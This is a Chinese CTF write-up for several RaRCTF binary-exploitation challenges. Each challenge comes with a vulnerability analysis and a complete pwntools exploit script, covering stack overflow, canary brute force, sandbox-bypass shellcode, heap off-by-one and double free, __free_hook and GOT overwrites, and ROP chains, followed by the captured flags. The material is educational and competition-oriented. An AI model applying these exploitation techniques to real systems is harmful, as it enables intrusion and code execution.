archer

输入的v1对应%p,直接输16进制
动调发现是add rax, 0x500000
需要让v1指向codegetshell
0x404068-0x500000=0xFFFFFFFFFFF04068
计算得到输入的内容应该为FFFFFFFFFFF04068

直接nc输入就行

rarctf{sw33t_sh0t!_1nt3g3r_0v3rfl0w_r0cks!_170b2820c9}

ret2winRaRs

直接溢出返回到后门即可

不过本题环境为ubuntu20.04,碰到了栈桢平衡的问题
当返回地址直接为后门地址时会crash报错
而覆盖为后门地址+1后则正常执行

其根本原因在于,do_system函数中指令movaps xmmword ptr [rsp+0x50], xmm0要求16字节对齐(a表示align),如下图所示

当返回地址为后门地址不加1时,可见rsp+0x50处的值不满足要求,故程序crash

加1后即可

(参考buu FAQ里Ex师傅的博客)

exp

1
2
3
4
5
6
7
8
from pwn import*
#r = process('./ret2winrars')
r = remote('193.57.159.27', 30527)
r.sendline(b'a'*0x20+b'b'*8+p64(0x401162+1))

r.interactive()

#rarctf{0h_1_g3t5_1t_1t5_l1k3_ret2win_but_w1nr4r5_df67123a66}

Not That Simple

这题之前没见过
程序本身不难,开了沙盒
flag为同目录下文件的文件名,不是常规的orw了
需要找能输出目录下文件名的函数来写shellcode

mark同学找到了sys_getdents函数

1
2
int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);

系统调用getdents()从打开的文件描述符fd指向的目录中读取linux_dirent结构到drip指向的缓冲区中,参数count指定该缓冲区大小
更通俗的说,第一个参数是要解析的文件句柄,第二个参数是存放解析数据的位置,count是drip的大小

linux_dirent结构声明如下
其中d_name是以空字符结尾的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux 2.6.4;
// offset is (d_reclen - 1))
*/

}

exp

注意:打开文件夹时open的第二个参数为0x10000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./notsimple')
r = remote('193.57.159.27', 43851)
r.recvuntil('0x')
ret = int(r.recv(12), 16)

payload = shellcraft.open("./",0x10000)
payload += shellcraft.getdents("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)

r.sendline(asm(payload).ljust(0x50+8, 'a')+p64(ret))

r.interactive()

#rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}

The Guessing Game

爆破canary和一字节返回地址+partial overwrite返回one gadget
Ch4rc0al同学写了快很多的二分法爆破并最终打通了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context(os='linux',arch='amd64')#,log_level='debug')
#r=process('./guess')
r = remote('193.57.159.27', 23476)
i = 1
idx = 33
canary = 0
while(i < 8):
left = 0
right = 0xff
mid = (left+right)/2
while(left <= right):
r.recvuntil('(0-7)?')
r.sendline(str(idx))
r.recvuntil('Enter your guess:')
r.sendline(str(mid))
s=r.recvuntil('Which')
if(s.startswith(' You got it!')):
idx += 1
canary += mid*pow(0x100,i)
i += 1
print hex(mid)
break
elif(s.startswith(' Too high!\n')):
right=mid
mid=(left+right)/2
else:
left=mid
mid=(left+right)/2


left = 0
right = 0xff
mid = (left+right)/2
while(left <= right):
r.recvuntil('(0-7)?')
r.sendline(str(50))
r.recvuntil('Enter your guess:')
r.sendline(str(mid))
s=r.recvline()
if(s.startswith(' You got it!')):
break
elif(s.startswith(' Too high!\n')):
right=mid
mid=(left+right)/2
else:
left=mid
mid=(left+right)/2

print hex(mid)
print hex(canary)
#gdb.attach(sh)
#0xe6c7e
payload='a'*0x18+p64(canary)+p64(0xdeadbeef)+'\x7e\x8c'+p8(mid-0x2+0xe)
r.send(payload)

r.interactive()

#rarctf{4nd_th3y_s41d_gu3ss1ng_1snt_fun!!_c9cbd665}

boring-flag-runner

题目涉及到最小的图灵完备语言:brainfuck

还没搞明白。。

Unintended

问题出现在patch函数中
当对堆块内容进行修改时,可输入字节的计算使用的是strlen,而在创建的时候malloc的大小和可输入的大小是相等的,出现的off by one的可能性。当输满的时候,strlen测量的长度会包括下一个堆块的size,造成单字节溢出。

存储的结构如下

1
2
3
4
5
6
7
8
9
size[0] des-size
size[1] idx

challenges+idx *chunk_ptr

chunk category(0x10)
chunk+16 name(0x10)
chunk+32 *des_ptr
chunk+40 point

打法

  1. 泄露基址。由于只能溢出一个字节,环境为2.27,无法一次放出unsorted bin。这里先尽量多申请chunk,然后利用修改size为接下来两个chunk的总和,造成chunk overlap。接下来利用chunk的堆叠修改一个chunk的size为0x561,放进unsorted bin,再申请回来,就能拿到基址了(且地址最后一字节不变)。
  2. tcache打freehook。同样的方法再构造一次overlap,freehook写system就好。这里在最后(exp65行)还放掉了标号为1的部分,是因为此时已经达到最大数量限制了,放掉对应的刚好一个为0x40一个是之前我们造的unsorted bin,不会影响到我们需要的oxb0的tcache,从而完成目标,且在题目中ctftime_rating限制的操作次数之内。

Error

顺便记录一下错误的想法和发生差错的地方

  • 一开始为了方便调试本地随机化关了,想着先用tcache把限制次数改了,又发现stdout就在下面,就直接用stdout泄露地址做了。结果远程的时候发现行不通,才反应过来由于PIE的关系,堆地址和bss段地址之间的偏移并不确定,根本摸不到bss上。
  • 还有一个错误发生在泄露地址的时候,第一次选择了直接覆盖掉chunk头接上地址,然后打印的方式。泄露倒是没什么问题,但是后续打的时候malloc新chunk时由于tcache里没有存货了,自然会到unsorted bin中切割,而我们之前暴力泄露的方式造成了chunk结构的破坏,这样进行申请便会造成crash。而如果选择修复chunk头又会造成ctftime_rating操作数的损失(patch时-5,free时-3,其余操作不消耗)。于是选择重新申请回unsorted bin,既不会破坏chunk头,又不会造成操作数的损失,还能达到泄露地址的目的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./unintended')
r = remote('193.57.159.27', 29070)
elf = ELF('./unintended')
libc = ELF('./lib/libc.so.6')

cmd1 = lambda x : r.sendlineafter('> ', str(x))
cmd2 = lambda x : r.sendlineafter(': ', str(x))
cmd3 = lambda x : r.sendafter(': ', x)


def make(idx, cate, name, lent, des, point):
cmd1(1)
r.recvuntil('Challenge number')
cmd2(idx)
r.recvuntil('Challenge category')
cmd3(cate)
r.recvuntil('Challenge name')
cmd3(name)
r.recvuntil('Challenge description length')
cmd2(lent)
r.recvuntil('Challenge description')
cmd3(des)
r.recvuntil('Points')
cmd2(point)

def patch(idx, des):
cmd1(2)
cmd2(idx)
cmd3(des)

def deploy(idx):
cmd1(3)
cmd2(idx)

def down(idx):
cmd1(4)
cmd2(idx)


for i in range(4):
make(i, 'web\x00', 'bbb', 0xa8, 'c'*0xa8, 0xff)

make(4, '/bin/sh\x00', 'bbb', 0xa8, 'c'*0xa8, 0xff)
for i in range(5, 8):
make(i, 'web\x00', 'bbb', 0xa8, 'c'*0xa8, 0xff)

patch(0, 'b'*0xa8+'\xf1')
down(1)
make(1, 'web\x00', 'bbb', 0xa8, '0000', 0xff)
make(9, 'web\x00', 'bbb', 0xe8, 'a'*0x30+p64(0)+p64(0x561), 0xff)
down(1)
make(1, 'web\x00', 'bbb', 0x550, '\xa0', 0xff)
deploy(1)
r.recvuntil('Description: ')
libc.address = u64(r.recv(6).ljust(8, '\x00'))-96-0x10-libc.symbols['__malloc_hook']
freehook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']
print 'libc_base ===> ', hex(libc.address)

patch(2, 'a'*0xa8+'\xf1')
down(3)
make(3, 'web\x00', 'bbb', 0xe8, 'z'*0x30+p64(0)+p64(0xb1)+p64(freehook), 0xff)
down(1)
make(1, 'web\x00', 'bbb', 0xa0, '0000', 0xff)
make(8, 'web\x00', 'bbb', 0xa8, p64(sys_addr), 0xff)

down(4)

r.interactive()

#rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d...89406fae76}

RaRmony

发现flag藏在channels中的secret-admin-chat中
直接读会显示没有权限

查看判断条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( *(current_user + 4) <= *(a1 + 8) )
{
lseek(*(a1 + 4), 0LL, 0);
v3 = fdopen(*(a1 + 4), "r");
printf("\x1B[4m%s\n\x1B[0m", (a1 + 12));
while ( __isoc99_fscanf(v3, "%d:%[^\n]s", &v2, v4) > 0 )
{
print_user(users[v2]);
printf("\x1B[0;37m: %s\n", v4);
}
}
else
{
puts("Not allowed to see this channel!");
}

current_user+4就是当前用户的权限,初始值为2
*(a1+8)对应文件的访问权限设定,普通文件为3,secret-admin-chat文件为0

setrole函数可以修改用户权限

1
2
3
4
5
6
7
8
__int64 __fastcall set_role(__int64 a1, int a2)
{
__int64 result; // rax

result = a1;
*(a1 + 4) = a2;
return result;
}

而选项3的change username中发生溢出,能够修改chunk中的update_username函数指针,该指针在选项3中被调用。覆盖该指针指向setrole后选几次3后权限即可被修改为0,从而读出flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./harmony')

r.sendlineafter('> ', '3')
r.sendafter('username: ', b'\xFF'*0x20+p64(0x9040153b))

r.sendlineafter('> ', '3')
r.sendlineafter('> ', '3')
r.sendlineafter('> ', '3')
r.sendlineafter('> ', '0')
r.sendline('2')

r.interactive()

因为复现的时候没有环境了,拿到本地的flag文件

Object Oriented Pwning

C++
给了源码

重复买牛卖牛可以得到更多的钱
SetName方法中会发生堆溢出
覆盖掉下一个chunk中的typeflag
然后买个translator,进入对应对象的Translate方法中执行

1
2
3
4
5
void Animal::Translate() {
char buf[1024];
sprintf(buf, "/usr/games/cowsay -f ./%s.txt 'Feed me!'", this->type);
system(buf);
}

即可打印出flag

注意chunk开头是一个指向虚函数表的指针,即指向一个指针数组,数组中是该类的成员函数。由于每次操作后都会调用方法Age对年龄进行更新,所以覆盖的时候把虚指针原封不动写回就好。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./oop')
r = remote('193.57.159.27', 30382)
elf = ELF('./oop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

cmd1 = lambda x : r.sendlineafter('> ', str(x))
cmd2 = lambda x : r.sendafter('? ', x)
cmd3 = lambda x : r.sendlineafter('? ', str(x))

def list():
cmd1(1)

def act(which, choice):
cmd1(2)
cmd3(which)
cmd1(choice)

def buy(choice, name):
cmd1(3)
cmd1(choice)
cmd2(name)

for i in range(0x20):
buy(1, 'a'*0x10+'\n')
buy(1, 'a'*0x10+'\n')
buy(1, 'a'*0x10+'\n')
act(2, 1)
act(1, 1)
act(0, 1)

buy(2, 'a'*0x10+'\n')
buy(2, 'a'*0x10+'\n')
buy(2, 'a'*0x10+'\n')

act(0, 1)
act(1, 1)
act(2, 1)

buy(2, '2'*0x1c+'\n')
buy(2, '1'*0x1c+'\n')
buy(2, '0'*0x1c+p64(0x41)+p64(0x404d28)+'flag\x00'+'\n')

r.interactive()

#rarctf{C0w_s4y_m00_p1g_s4y_01nk_fl4g_s4y-251e363a}

Return of Emoji DB

add_emoji

malloc的大小是被规定好的

先是一个0x20的chunk,
其中第一个字节决定了能继续输入多少字节数据

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall count_leading_ones(unsigned __int8 a1)
{
unsigned int v3; // [rsp+10h] [rbp-4h]

v3 = 0;
while ( (a1 & 0x80) != 0 )
{
++v3;
a1 *= 2;
}
return v3;
}

0x80=0b10000000
x*=2x<<2
不难发现当输入\xff时能二次输入的字节数最多
+4处存着下一个chunk的指针

bss段上只会存0x20大小的chunk指针
且多次申请可以让指针放到下面的garbage中

delete_emoji

1
2
3
4
5
6
v2 = find_free_slot(garbage, 400LL);
garbage[v2] = entries[v1];
v3 = find_free_slot(garbage, 400LL);
garbage[v3] = *(entries[v1] + 4LL);
*(entries[v1] + 4LL) = 0LL;
entries[v1] = 0LL;

delete操作会在garbage找到最靠前的空闲位置依次放进0x20和0xb0的指针,并置0,但不会free

read_emoji

1
2
3
printf("Title: %s\nEmoji: ", *(entries[v2] + 4LL));
v0 = count_leading_ones(*entries[v2]);
write(1, entries[v2], v0);

读出chunk中指针指向的内容 和 输入的一字节与二次输入的内容

collect_garbage

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; ; ++i )
{
result = i;
if ( i > 0x18F )
break;
if ( garbage[i] )
{
free(garbage[i]);
garbage[i] = 0LL;
}
}

free所有位于garbage中的chunk

打法

  1. 泄露地址。照例需要先泄露基址,先拿个堆地址,二次输入接上指针就能读出来,方便后续修改堆指针指向。0xb0大小的chunk在填满tcache后变会被放到unsorted bin中,通过二次输入时修改chunk中的指针指向unsorted bin即可读出基址。
  2. tcache打freehook。不过这道题并不能直接溢出改fd,但是注意到delete+collect会把0x20chunk中0xb0的chunk指针取出然后free掉,而二次输入时我们最多能够修改该指针的低四字节,也就是说我们能够控制free的指针指向堆上其他地址进行free。这里就想到了伪造一个fake chunk free掉,从而造成overlap了。方法应该属于tcache house of spirit,伪造size位即可把fake chunk放进tcache。然后修改tcache的fd打freehook即可。

Error

错误的思路:
刚开始的时候想的是构造0x20的tcache来打,libc2.31的tcache不能直接造成double free,但可以通过在fastbin完成double free后通过申请清空tcache后,fastbin就会被倒序插入tcache中构造出double free。不过本题并不可行因为对0x20的chunk本题限制了能够修改的字节数,高位两个字节永远是0x5555,唯一自由输入的是0xb0的chunk,因而思路转换到利用该大小的chunk上来。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./emoji')
elf = ELF('./emoji')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = remote('193.57.159.27', 48025)

cmd1 = lambda x : r.sendlineafter('> ', str(x))
cmd2 = lambda x : r.sendafter(': ', x)
cmd3 = lambda x : r.sendlineafter(': ', str(x))


def add(title, em, con):
cmd1(1)
cmd2(title)
cmd2(em)
r.send(con)

def show(idx):
cmd1(2)
cmd3(idx)

def delete(idx):
cmd1(3)
cmd3(idx)

def cg():
cmd1(4)


add(b'\x00'*0x38+p64(0x91)+b'\x00'*0x30, '\xff', 'b'*3)
show(0)
r.recvuntil('b'*3)
data = r.recv(4)
heap_addr = u64((data+b'\x55\x55').ljust(8, b'\x00'))
print ('heap_addr ===> ', hex(heap_addr))

for i in range(1, 14):
add('a'*0x79, '\xff', 'b'*3)

for i in range(1, 9):
delete(i)
cg()

add('b', '\xff', b'b'*3+b'\x50'+p8(((heap_addr&0xf000)+0x800)>>8))
show(1)
r.recvuntil('Title: ')
libc.address = u64((r.recv(6)).ljust(8, b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
print ('libc_base ===> ', hex(libc.address))
free_hook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']

for i in range(6):
add('/bin/sh', '\xff', 'b'*3)


add(b'A'*0x38, '\xff', b'b'*3+b'\x10'+p8(((heap_addr&0xf000)+0x300)>>8))
delete(7)
delete(8)
delete(0)
cg()
add(b'A'*0x38+p64(0x91)+p64(free_hook), '\xff', b'b'*3)

add('a', '\xff', b'b'*3)
add(p64(sys_addr), '\xff', b'b'*3)

delete(2)
cg()
#gdb.attach(r)

r.interactive()

#rarctf{tru5t_th3_f1r5t_byt3_1bc8d429}

The Mound

这题赛后复现学习的

题意总览

本地在0xDEAD00000000xBEEF0000000mmap了两块内存空间用来实现自己实现的简易堆管理,其中对空闲chunk的管理类似glibc中的tcache。程序实现的堆管理会从0xBEEF0000000上分配空间,0xDEAD0000000上记录了每块free chunk的id,用来防止double free
程序本身开了沙盒,ban了一些函数

另外在setup.sh文件中看到flag文件名被随机化了

1
mv /pwn/flag.txt /pwn/$(xxd -l 16 -p /dev/urandom).txt

结构分析

一个chunk的结构如下,chunk头由8字节随机数作为id和8字节size组成

1
2
3
4
5
|---------------------------|
| id(8bytes) |size(8bytes) |
|---------------------------|
| data |
|---------------------------|

用程序实现的堆管理申请的0x10大小的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0xbeef0000000:	0x7038a561477f31ad	0x00000000000000f0  <- cache chunk
0xbeef0000010: 0x0000000000000000 0x0000000000000000 <- counts
0xbeef0000020: 0x0000000000000000 0x0000000000000000 <- free list
0xbeef0000030: 0x0000000000000000 0x0000000000000000
0xbeef0000040: 0x0000000000000000 0x0000000000000000
0xbeef0000050: 0x0000000000000000 0x0000000000000000
0xbeef0000060: 0x0000000000000000 0x0000000000000000
0xbeef0000070: 0x0000000000000000 0x0000000000000000
0xbeef0000080: 0x0000000000000000 0x0000000000000000
0xbeef0000090: 0x0000000000000000 0x0000000000000000
0xbeef00000a0: 0x0000000000000000 0x0000000000000000
0xbeef00000b0: 0x0000000000000000 0x0000000000000000
0xbeef00000c0: 0x0000000000000000 0x0000000000000000
0xbeef00000d0: 0x0000000000000000 0x0000000000000000
0xbeef00000e0: 0x0000000000000000 0x0000000000000000
0xbeef00000f0: 0x4d480b96179027ed 0x0000000000000020 <- allocated chunk
0xbeef0000100: 0x000000000a616161 0x0000000000000000
0xbeef0000110: 0x2acd85582b6411a8 0x00000000003ffef0 <- top chunk
0xbeef0000120: 0x0000000000000000 0x0000000000000000

释放掉该chunk后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0xbeef0000000:	0x7038a561477f31ad	0x00000000000000f0 <- cache chunk
0xbeef0000010: 0x0000000000000001 0x0000000000000000 <- counts
0xbeef0000020: 0x0000000000000000 0x00000beef00000f0 <- free list
0xbeef0000030: 0x0000000000000000 0x0000000000000000
0xbeef0000040: 0x0000000000000000 0x0000000000000000
0xbeef0000050: 0x0000000000000000 0x0000000000000000
0xbeef0000060: 0x0000000000000000 0x0000000000000000
0xbeef0000070: 0x0000000000000000 0x0000000000000000
0xbeef0000080: 0x0000000000000000 0x0000000000000000
0xbeef0000090: 0x0000000000000000 0x0000000000000000
0xbeef00000a0: 0x0000000000000000 0x0000000000000000
0xbeef00000b0: 0x0000000000000000 0x0000000000000000
0xbeef00000c0: 0x0000000000000000 0x0000000000000000
0xbeef00000d0: 0x0000000000000000 0x0000000000000000
0xbeef00000e0: 0x0000000000000000 0x0000000000000000
0xbeef00000f0: 0x4d480b96179027ed 0x0000000000000020 <- freed chunk
0xbeef0000100: 0x00000beef0000010 0x0000000000000000
0xbeef0000110: 0x2acd85582b6411a8 0x00000000003ffef0 <- top chunk
0xbeef0000120: 0x0000000000000000 0x0000000000000000

一个free状态的chunk结构

1
2
3
4
5
|---------------------------|
| id(8bytes) |size(8bytes) |
|---------------------------|
| *vertify | *next |
|---------------------------|

vertify指向0x00000beef0000010,在从cache中取出chunk时会进行验证
next指向下一个空闲的chunk。cache采用单向链表管理,FILO。freelist中存放对应大小的第一个空闲chunk,counts计数对应大小的cache个数。

0xdead0000000存放每个free chunk的id

1
2
3
4
0xdead0000000:	0x00000beef0000000	0x2acd85582b6411a8
0xdead0000010: 0x4d480b96179027ed 0x0000000000000000
0xdead0000020: 0x0000000000000000 0x0000000000000000
0xdead0000030: 0x0000000000000000 0x0000000000000000

0xdead0008008处存*vertify
0xdead0008010处存top chunk地址

1
2
3
xdead0007ff8:	0x0000000000000000	0x0000000000000000
0xdead0008008: 0x00000beef0000010 0x00000beef0000110
0xdead0008018: 0x0000000000000000 0x0000000000000000

流程分析

case 1:
输入字符串
strdup从堆上分配空间存储
指定index,不大于0xF
指针存在arr数组
size存在sizes数组,使用strlen测量

case2:
输入size(小于0xFFF)
输入index
mmaloc(size),分配空间:
———->如果相应的cache里有空间,就从中取出
|————————->对应大小的count—
|————————->检查vertify
|————————->清空vertify和next
|————————->遍历的方式从0xDEAD0000000开始找该空闲chunk的id并清除
|————————->返回指针

———->否则,重新分配
|————————->先检查一下,如果topchunk比申请的size还小则报错结束
|————————->从topchunk分配空间,在相应偏移处更新topchunk的值
|————————->新分配的chunk更新id(随机数)
|————————->chunk的size位更新
|————————->返回指针
arr[idx]存放返回的指针
sizes[idx]清零
read读入数据

case3:
输入index
检查index是否越界、arr数组对应指针与sizes数组对应大小是否存在
通过则读入相应大小内容(只能对从strdup分配的堆进行写入)

case4:
输入index
mfree(arr[index]):
———->find_id函数遍历cache检查是否存在相同id,存在则报错double free
———->进行free:
|————————->遍历检查id是否已经存在,若存在则报错double free
|————————->检查大小,大于0x190不行
|————————->找到freelist中存放对应大小的cache处,把最新free的chunk指针写入
|————————->更新free chunk内部vertify指针和fd指针,插入链表
|————————->对应大小cache的counts++
|————————->注册id,遍历找到空位放进chunk的id
|————————->sizes[index]清零

漏洞分析

Double free

注意到free中没有把arr数组中的chunk指针置0

程序允许两种方式申请堆
glibc中chunk的presize与程序实现的chunk的id位于同一位置
同时我们知道当glibc chunk处于使用态时presize是可以被上一个chunk使用的
而程序判断是否double free的方式是根据id是否重复

通过用strdup方式分配堆,free掉下一个chunk,再修改presize的方式,可以把一个cache的id修改掉,从而再次free该chunk,构造double free

修改fd的时候vertify指针也要放入
因为每次拿出chunk时都会验证vertify,0xdead0008008处存着vertify,0xdead0008010存着top chunk的地址,所以可以把fd指向0xdead0007ff8,绕过对vertify的检查,并对top chunk地址进行修改,下一次申请时就会从修改过的top chunk处进行分配,构造任意写

Hijacking execution flow

程序Partial RELRO,于是可以修改got表
考虑改掉__isoc99_scanf的got表内容,于是让top chunk地址为setvbufgot地址处
这样下此分配时就会从got表开始分配

另外有后门函数win

1
2
3
4
5
6
7
ssize_t win()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Exploiting BOF is simple right? ;)");
return read(0, buf, 0x1000uLL);
}

所以写入后门地址,接下来需要思考如何打印出flag

find file name and read flag

先泄露基址

flag的文件名被随机化了
所以我们需要先知道文件名是什么
就需要获取目录文件名
禁了open,得用openat

int openat(int dirfd, const char *pathname, int flags, mode_t mode);
其中pathname为绝对路径

1
2
3
openat(/home/ayoung/pwn/rarctf/mound/pwn/)(本地)
getdents(3, 0xbeef00000001000)`
write(1, 0xbeef0000000, 1000)

然后再用sendfile读出flag(又学到一个新知识。其实这里用read,write也行。)

1
2
#include <sys/sendfile.h>
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

1
2
openat(/home/ayoung/pwn/rarctf/mound/pwn/071f74c56073a10c3109e8d10d51bda9.txt)
sendfile(1, 3, 0, 100)

其中in_fd为3,对应openat新打开的fd

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./mound')
elf = ELF('./mound')
#r = remote('192.168.199.158',49153)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc.so.6')

win = 0x4017F7
prdi_ret = 0x401e8b
prsir15_ret = 0x401e89
straddr = 0xbeef0000100

def add1(con,idx):
r.sendlineafter(b"> ", b"1")
r.sendafter(b"Pile: ", con)
r.sendlineafter(b"Pile index: ", str(idx))

def add2(size, idx, con):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"Size of pile: ", str(size))
r.sendlineafter(b"Pile index: ", str(idx))
r.sendlineafter(b"Pile: ", con)

def replace(idx, con):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"Pile index: ", str(idx))
r.sendline(con)

def remove(idx):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"Pile index: ", str(idx))

def attack():

add2(100, 10, b"/home/ayoung/pwn/rarctf/mound/pwn/071f74c56073a10c3109e8d10d51bda9.txt\x00")

add1(b'a'*0x16+b'\n', 0)
add1(b'b'*0x16+b'\n', 1)

remove(1)
replace(0, b'b'*0x16+b'\n')
remove(1)
replace(0, b'c'*0x16+b'\n')
remove(1)

add2(0x10, 1, p64(0xbeef0000010)+p64(0xdead0007ff8))
add2(0x10, 2, p64(0xbeef0000010)+p64(0xdead0007ff8))
add2(0x10, 3, p64(0xbeef0000010)+p64(0x404068))
add2(0x20, 4, p64(win))

#----------------get libc_address---------------------------------------
payload = b'a'*0x40+b'b'*8
payload+= p64(prdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(win)
r.sendlineafter('> Exploiting BOF is simple right? ;)', payload)

libc.address = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-libc.symbols['puts']

prdxrcxrbx_ret = 0x1056fd+libc.address
print (hex(libc.address))

#----------------find flag file name------------------------------------
'''
payload = b'a'*0x40+b'b'*8
payload+= p64(prsir15_ret)
payload+= p64(straddr)
payload+= p64(0)
payload+= p64(libc.symbols['openat'])
payload+= p64(prdi_ret)
payload+= p64(3)
payload+= p64(prsir15_ret)
payload+= p64(0xbeef0000000)
payload+= p64(0)
payload+= p64(prdxrcxrbx_ret)
payload+= p64(1000)
payload+= p64(0)
payload+= p64(0)
payload+= p64(libc.symbols['getdents64'])
payload+= p64(prdi_ret)
payload+= p64(1)
payload+= p64(prsir15_ret)
payload+= p64(0xbeef0000000)
payload+= p64(0)
payload+= p64(prdxrcxrbx_ret)
payload+= p64(1000)
payload+= p64(0)
payload+= p64(0)
payload+= p64(libc.symbols['write'])
payload+= p64(win)
r.sendlineafter('Exploiting BOF is simple right? ;)', payload)
'''
#------------read flag------------------------------------------------
payload = b'a'*0x40+b'b'*8
payload+= p64(prsir15_ret)
payload+= p64(straddr)
payload+= p64(0)
payload+= p64(libc.symbols['openat'])
payload+= p64(prdi_ret)
payload+= p64(1)
payload+= p64(prsir15_ret)
payload+= p64(3)
payload+= p64(0)
payload+= p64(prdxrcxrbx_ret)
payload+= p64(0)
payload+= p64(100)
payload+= p64(0)
payload+= p64(libc.symbols['sendfile'])

r.sendlineafter('Exploiting BOF is simple right? ;)', payload)

r.interactive()


if __name__ == "__main__":
attack()


#rarctf{all0c4t0rs_d0_n0t_m1x_e45a1bf0b2}

参考链接

https://bonfee.me/2021-08-09-rarctf-the-mound/
写的比我清楚很多。。